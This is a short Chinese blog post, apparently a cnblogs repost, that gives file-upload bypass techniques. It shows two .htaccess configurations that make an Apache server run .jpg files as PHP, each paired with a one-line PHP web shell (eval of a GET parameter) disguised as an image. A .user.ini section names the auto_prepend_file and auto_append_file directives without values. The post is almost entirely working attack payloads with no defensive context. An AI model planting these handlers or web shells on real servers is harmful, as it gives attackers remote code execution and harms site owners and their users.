首页 > 其他分享 >.htaccess的两种写法和.user.ini

.htaccess的两种写法和.user.ini

时间:2022-08-26 20:34:35浏览次数:81  
标签:jpg application htaccess user file ini

一、.htaccess文件上传
方法一: FileMatch 参数即为文件名的正则匹配
<FilesMatch "1.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
// 1.jpg
<?php eval($_GET['a']);?>

方法二:
AddType application/x-httpd-php .jpg
// 1.jpg
<?php eval($_GET['a']);?>

二、.user.ini

auto_prepend_file=

auto_append_file=

标签:jpg,application,htaccess,user,file,ini
From: https://www.cnblogs.com/hackerone/p/16629084.html

相关文章